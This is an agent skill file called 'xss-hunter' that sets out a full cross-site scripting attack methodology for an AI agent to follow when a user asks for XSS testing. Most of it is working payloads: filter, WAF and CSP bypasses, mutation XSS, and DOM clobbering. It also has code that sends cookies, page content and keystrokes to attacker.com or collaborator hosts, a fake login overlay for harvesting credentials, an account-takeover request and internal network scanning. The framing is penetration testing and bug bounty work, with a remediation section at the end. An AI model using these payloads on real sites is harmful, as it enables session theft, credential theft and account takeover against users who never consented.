| name | xss-hunter |
| description | Complete XSS testing methodology reflected, stored, DOM-based, blind, and mutation XSS, CSP bypass, DOM clobbering, filter/WAF evasion, and impact escalation. Trigger when the user asks to test for XSS or cross-site scripting (reflected, stored, DOM-based, blind, mutation), wants to bypass XSS filters/WAF rules/CSP, identifies a reflection point and needs the right payload, pastes HTML/JS that reflects user input, asks if they can steal cookies or test inputs for injection, needs to demonstrate XSS impact, or is writing a pentest finding needing evidence or remediation. |
| license | MIT |
| metadata | {"version":"0.0.1","author":"Rifteo","tags":["pentest","xss","web","csp-bypass","dom-clobbering","waf-evasion","bug-bounty"]} |
XSS Attack Methodology
XSS occurs when user-controlled input is rendered in a browser without proper sanitization or encoding, allowing arbitrary JavaScript execution in the victim's context.
Before testing anything — understand the injection context:
The payload you need depends entirely on where your input lands in the page source. Always view source or open DevTools after injecting a canary string (xsstest123) to locate where it appears.
HTML body: <p>xsstest123</p> → <script> or <img onerror>
HTML attribute: <input value="xsstest123"> → " onmouseover= or ">
JS string: var x = "xsstest123"; → ";alert(1)//
JS template: `Hello xsstest123` → ${alert(1)}
URL/href: href="xsstest123" → javascript:alert(1)
CSS: style="color:xsstest123" → expression(alert(1)) [IE]
Attack Index
| # | Type | Description |
|---|
| 1 | Reflected XSS | Input reflected immediately in response |
| 2 | Stored XSS | Input persisted and rendered for other users |
| 3 | DOM-based XSS | Input processed by client-side JS into a dangerous sink |
| 4 | Blind XSS | Execution happens in a context you can't see (admin panel, logs) |
| 5 | Filter & WAF Evasion | Bypass blacklists, sanitizers, WAF rules |
| 6 | CSP Bypass | Exploit weak Content-Security-Policy headers |
| 7 | Mutation XSS (mXSS) | Browser mutation turns safe markup into executable XSS |
| 8 | DOM Clobbering | Overwrite JS variables using named HTML elements |
| 9 | Impact Escalation | Session hijack, credential theft, keylogging, CSRF |
Phase 1 — Reconnaissance: Find All Input Surfaces
Cast a wide net before injecting anything.
1.1 URL Parameters
GET /search?q=test
GET /page?id=1&ref=home
GET /profile?user=alice
1.2 Form Fields
- Search bars, login forms, registration, comments, bio fields, file name inputs
- Hidden fields:
<input type="hidden" name="redirect" value="/home">
1.3 HTTP Headers (often reflected in error pages)
Referer: https://attacker.com/<script>alert(1)</script>
User-Agent: <script>alert(1)</script>
X-Forwarded-For: <script>alert(1)</script>
X-Original-URL: /"><script>alert(1)</script>
1.4 JSON / API Responses rendered in UI
- API response fields that get injected into the DOM via
innerHTML
- Username, display name, bio, address fields stored in API and rendered later
1.5 File Uploads
- Upload an SVG with embedded JS:
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>
- Upload HTML file if allowed
- Filename itself:
"><img src=x onerror=alert(1)>.png
1.6 DOM Sources (for DOM XSS)
location.href / location.search / location.hash
document.referrer
document.URL
window.name
postMessage data
localStorage / sessionStorage (if populated from URL)
Attack 1 — Reflected XSS
What: Input is reflected in the HTTP response immediately without being stored.
Step 1 — Inject a canary to locate reflection:
GET /search?q=xsstest123
View source → find xsstest123 → note the surrounding context.
Step 2 — Choose payload for context:
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
<body onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
" onmouseover="alert(document.domain)
" autofocus onfocus="alert(document.domain)
"><img src=x onerror=alert(document.domain)>
";alert(document.domain)//
'-alert(document.domain)-'
\';alert(document.domain)//
${alert(document.domain)}
javascript:alert(document.domain)
data:text/html,<script>alert(document.domain)</script>
</script><script>alert(document.domain)</script>
Step 3 — Confirm: observe alert box with document.domain. Always use document.domain (not 1) to prove the execution origin.
Attack 2 — Stored XSS
What: Input is saved server-side and rendered to other users — higher impact than reflected.
High-value injection points:
- Comment/review fields
- Profile fields (name, bio, address, job title)
- Chat / messaging features
- Support ticket subject/body
- Product/listing names and descriptions
- Notification text
- File/folder names in cloud storage UIs
Testing approach:
- Inject a payload in the field and save
- View the page as a different user (or in a fresh session)
- If payload executes — confirm stored XSS
Persistent payload (survives page reload):
<img src=x onerror="this.src='https://your-collaborator.net/?c='+document.cookie">
<script>document.location='https://your-collaborator.net/?c='+document.cookie</script>
<svg/onload="fetch('https://your-collaborator.net/?c='+btoa(document.cookie))">
Check all consumers: a stored payload in a profile field may execute on:
/profile/alice (public)
/admin/users/alice (admin panel) ← highest impact
- Email notifications (if HTML email)
- API response consumed by another frontend
Attack 3 — DOM-Based XSS
What: The server response is safe, but client-side JavaScript reads from a source and writes to a dangerous sink without sanitization.
Common dangerous sinks:
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
document.writeln(userInput);
element.insertAdjacentHTML('...', userInput);
eval(userInput);
setTimeout(userInput, 0);
setInterval(userInput, 0);
new Function(userInput)();
location.href = userInput;
location.assign(userInput);
location.replace(userInput);
element.src = userInput;
element.setAttribute('href', userInput);
jQuery(userInput);
$.parseHTML(userInput);
Testing approach:
- Find parameters that appear in client-side JS (hash, search, name)
- Inject into URL hash/fragment (not sent to server, bypasses server WAF):
https://target.com/page#<img src=x onerror=alert(document.domain)>
https://target.com/page?returnUrl=javascript:alert(1)
- Search JS files for dangerous sinks and trace data flow back to sources
Hunt for DOM XSS in JS files:
curl -s https://target.com/app.js | grep -E "innerHTML|outerHTML|document\.write|eval\(|setTimeout\(|location\.href"
dalfox url "https://target.com/search?q=test" --deep-domxss
Attack 4 — Blind XSS
What: The XSS fires in a context you cannot directly observe — admin panel, internal dashboard, log viewer, support ticket system, PDF renderer, email client.
Strategy: use an out-of-band callback payload that phones home when it executes.
Payload with full context capture:
<script>
var d=document;
fetch('https://your-collaborator.net/xss?'+new URLSearchParams({
url: d.location.href,
cookie: d.cookie,
dom: d.documentElement.innerHTML.substring(0,500),
ua: navigator.userAgent
}));
</script>
Compact versions for length-limited fields:
<img src=x onerror="fetch('https://your-collaborator.net/?c='+document.cookie)">
<script src="https://your-collaborator.net/payload.js"></script>
Tools for blind XSS:
- XSS Hunter (xsshunter.trufflesecurity.com) — generates unique payloads per target, captures full page screenshot + DOM + cookies when fired
- Burp Collaborator — simple OOB DNS/HTTP callback
- interactsh — open-source OOB server:
interactsh-client generates a unique URL
Where to inject blind XSS:
- Support ticket / bug report forms
- Feedback widgets
- User-agent or X-Forwarded-For headers (logged in dashboards)
- Order notes / shipping address (rendered in admin order view)
- Username (may appear in audit logs or admin user list)
Attack 5 — Filter & WAF Evasion
When basic payloads are blocked, work through these techniques systematically.
5.1 Case Variation
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
5.2 Tag Alternatives (when <script> is blocked)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<object data="javascript:alert(1)">
<math><mtext><table><mglyph><svg><mtext><textarea>
<path id="</textarea><img onerror=alert(1) src=1>">
5.3 Encoding Bypasses
<img src=x onerror=alert(1)>
<a href="javascript:%61lert(1)">click</a>
%253Cscript%253Ealert(1)%253C/script%253E
\u0061lert(1)
\u{61}lert(1)
alert(1)
<scr\x00ipt>alert(1)</scr\x00ipt>
<scr\nipt>alert(1)</scrip\nt>
5.4 JavaScript Obfuscation
confirm(1)
prompt(1)
console.log(1)
window['al'+'ert'](1)
(a=alert)(1)
top['al\x65rt'](1)
eval('ale'+'rt(1)')
Function('alert(1)')()
[].constructor.constructor('alert(1)')()
alert`1`
throw onerror=alert,1337
String.fromCharCode(88,83,83)
/XSS/.source
5.5 Polyglot Payloads (test multiple contexts at once)
javascript:(oNcliCk=alert() )
jaVasCript:(oNcliCk=alert() )
">'><svg/onload=alert(1)>
5.6 WAF-Specific Bypasses
<svg/onload=alert(1)>
<a/href="j%26Tab;avascript:alert(1)">click
GET /search?q=<scri&q=pt>alert(1)</scri&q=pt>
<scr<script>ipt>alert(1)</scr</script>ipt>
<a href="java	script:alert(1)">
<a href="java script:alert(1)">
Attack 6 — CSP Bypass
Check CSP header first:
curl -s -I https://target.com | grep -i content-security-policy
6.1 Unsafe Directives — Instant Win
script-src 'unsafe-inline' → inline <script> works directly
script-src 'unsafe-eval' → eval(), setTimeout(string) work
script-src * → load script from any domain
6.2 Whitelisted CDN Abuse (JSONP / Angular)
If script-src whitelists a CDN that hosts JSONP endpoints or AngularJS:
<script src="https://whitelisted-cdn.com/api?callback=alert(1)//"></script>
<div ng-app ng-csr-nonce="">{{constructor.constructor('alert(1)')()}}</div>
6.3 script-src-elem vs script-src mismatch
Some browsers fall back differently — try <script> if script-src-elem is not set.
6.4 base-uri not set → base tag injection
<base href="https://attacker.com/">
6.5 default-src without script-src
If only default-src is set, object-src and script-src may not be restricted:
<object data="data:text/html,<script>alert(1)</script>"></object>
6.6 Nonce/hash leak
If script-src 'nonce-abc123' is used:
- Check if the nonce is static (doesn't change per request)
- Check if nonce is reflected elsewhere in the page
- Check if nonce is predictable
Attack 7 — Mutation XSS (mXSS)
What: The browser's HTML parser mutates apparently safe markup into something executable when assigned via innerHTML.
Classic mXSS payload:
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<table><tbody><tr><td><img src="1" onerror=alert(1)//</td></tr></tbody></table>
<svg><style><img src=x onerror=alert(1)></style></svg>
<math><mtext><table><mglyph><svg><mtext><textarea>
<path id="</textarea><img onerror=alert(1) src=1>">
When to try mXSS: when the app uses DOMPurify <= 2.0.x or any HTML sanitizer, and basic XSS is blocked. Browser mutation can sometimes reconstruct executable HTML from "safe" input.
Attack 8 — DOM Clobbering
What: Named HTML elements (id, name) overwrite JS global variables or properties, causing unsafe behavior when the code later uses those variables.
Basic clobbering:
<img id=isAdmin>
<input id=isAdmin value=true>
<a id=config href="javascript:alert(1)">
<form id=target><input name=action value="https://attacker.com/steal"></form>
Double clobbering (clobber a property of a property):
<form id=config><input id=config name=token value=CLOBBERED></form>
When to use: when JS references window.X or document.X that isn't explicitly declared, and those values are used in security decisions or URL construction.
Attack 9 — Impact Escalation
After confirming XSS executes, demonstrate real-world impact.
9.1 Cookie Theft (Session Hijacking)
fetch('https://attacker.com/steal?c=' + btoa(document.cookie))
new Image().src = 'https://attacker.com/steal?c=' + encodeURIComponent(document.cookie)
9.2 Credential Harvesting (Phishing via XSS)
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:99999">
<form action="https://attacker.com/harvest" method="post">
<h2>Session expired — please log in again</h2>
<input name="user" placeholder="Username"><br>
<input name="pass" type="password" placeholder="Password"><br>
<button>Login</button>
</form>
</div>`;
9.3 Keylogging
document.addEventListener('keydown', e => {
fetch('https://attacker.com/keys?k=' + encodeURIComponent(e.key));
});
9.4 CSRF via XSS (bypass SameSite / CSRF tokens)
const token = document.querySelector('[name=csrf_token]').value;
fetch('/api/admin/delete-user', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json', 'X-CSRF-Token': token},
body: JSON.stringify({user_id: 1})
});
9.5 Account Takeover via XSS
fetch('/api/account', {
method: 'PATCH',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com', password: 'hacked123'})
});
9.6 Internal Network Scanning (pivot via XSS)
['192.168.1.1','192.168.1.254','10.0.0.1'].forEach(ip => {
fetch(`http://${ip}/`, {mode: 'no-cors'})
.then(() => fetch('https://attacker.com/?alive=' + ip));
});
Quick Recon Checklist
Before injecting payloads, run this:
gau target.com | grep "=" | sort -u
curl -s -I https://target.com | grep -i "content-security-policy"
paramspider -d target.com
dalfox url "https://target.com/search?q=test"
curl -s -I https://target.com | grep -i "x-xss"
cat app.js | grep -E "innerHTML|document\.write|eval\(|location\.href\s*="
Report Structure
Title: [Stored/Reflected/DOM] XSS on [endpoint/feature]
Severity: [Critical (stored+admin), High (stored), Medium (reflected), Low (self-XSS)]
Affected endpoint: [METHOD] [URL] — parameter: [name]
Steps to reproduce:
1. [Setup: log in as X, navigate to Y]
2. Inject the following payload into [field]: [PAYLOAD]
3. [Trigger: submit form / visit URL / wait for admin to view]
4. Observe: JavaScript executes — alert shows [document.domain]
Impact:
- [Describe: cookie theft / session hijack / account takeover / CSRF]
- [Affected users: all visitors / admin users / specific role]
Evidence:
- Screenshot of alert box showing document.domain
- HTTP request/response showing reflection or storage
- For stored: show two different sessions — inject + trigger
Remediation:
- Encode all user output for its context (HTML encode for HTML, JS encode for JS)
- Use textContent instead of innerHTML where possible
- Implement a strict Content-Security-Policy
- Use a security-tested sanitizer (DOMPurify) for HTML rendering
- Set HttpOnly on session cookies to limit theft impact
Scripts
scripts/xss_agent.py
Requires: pip3 install requests
python3 scripts/xss_agent.py https://target.com \
--token "eyJ..." \
--params "/search?q=FUZZ" "/profile?name=FUZZ"
python3 scripts/xss_agent.py https://target.com \
--cookie "session=abc" \
--params "/search?q=FUZZ"
python3 scripts/xss_agent.py https://target.com \
--token "eyJ..." \
--submit-endpoint /api/comments \
--display-endpoint /comments \
--field body \
-o report.json
The script automatically: checks CSP headers → injects a canary to find reflection → detects context (HTML body / attribute / JS string) → selects matching payloads → confirms execution → outputs a JSON report.
Reference Files
references/payloads.md — payload list by context
references/tools.md — dalfox, XSStrike, Burp usage